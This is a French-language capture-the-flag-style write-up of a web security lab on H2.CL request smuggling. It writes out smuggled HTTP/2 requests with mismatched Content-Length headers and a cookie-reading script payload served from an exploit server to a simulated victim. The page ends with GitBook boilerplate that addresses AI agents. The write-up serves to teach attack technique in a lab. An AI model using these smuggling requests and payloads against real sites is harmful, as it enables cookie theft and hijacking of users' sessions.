> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/h2-cl-request-smuggling.md).

# Détournement de requêtes H2.CL

### Smuggling de requêtes H2.CL

Ce labo est vulnérable au **smuggling de requêtes** car le serveur frontal rétrograde **HTTP/2** les requêtes même lorsqu'elles ont une longueur ambiguë.

L'objectif est de mener une attaque permettant au navigateur de la victime de charger et d'exécuter un **fichier JavaScript malveillant** hébergé sur le serveur d'exploitation, contenant :

```javascript
alert(document.cookie)
```

L'utilisateur victime visite la page d'accueil toutes les **10 secondes**.

#### **Faire basculer un 404 via le smuggling**

Une incohérence de longueur est nécessaire pour provoquer un **404 Non trouvé**:

```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14

test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11

test=test
```

#### **Analyse du comportement de l'application**

La page charge automatiquement un script :

`resources/js/analytics.js?uid=3309545055`

<figure><img src="/files/2fff5616dd03c6e4e0a9de331acff4a31294d3dc" alt=""><figcaption></figcaption></figure>

Ce script génère un identifiant aléatoire et envoie une requête à :

```javascript
/analytics?id=<random value>
```

<figure><img src="/files/c0fe4375dd8e85ffdb1e8ece15c4c980595216de" alt=""><figcaption></figcaption></figure>

Extrait de la fonction :

```javascript
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```

#### **Observation des chemins acceptés**

Une requête dissimulée vers :

```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11

test=test
```

<figure><img src="/files/d00115afb687b69b1bddea0e81f05b6ad241610c" alt=""><figcaption></figcaption></figure>

est acceptée.

En revanche, les autres chemins ne le sont pas.

<figure><img src="/files/0130d3cb3acc1a328ed10464b2aea0971b7c2d0d" alt=""><figcaption></figcaption></figure>

#### **Injection de script malveillant**

Nous plaçons notre charge utile dans le fichier fourni par le serveur d'exploitation :

* nom de fichier : **resources**
* contenu du corps :

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/52c87add4042d34fb4b36845a6fdac4306862085" alt=""><figcaption></figcaption></figure>

La victime est redirigée vers ce fichier, et le navigateur exécute l'alerte, confirmant l'exploitation.

<figure><img src="/files/632b22e70d53a4e3fb78c2966c7c7482fd2c8cdb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/h2-cl-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
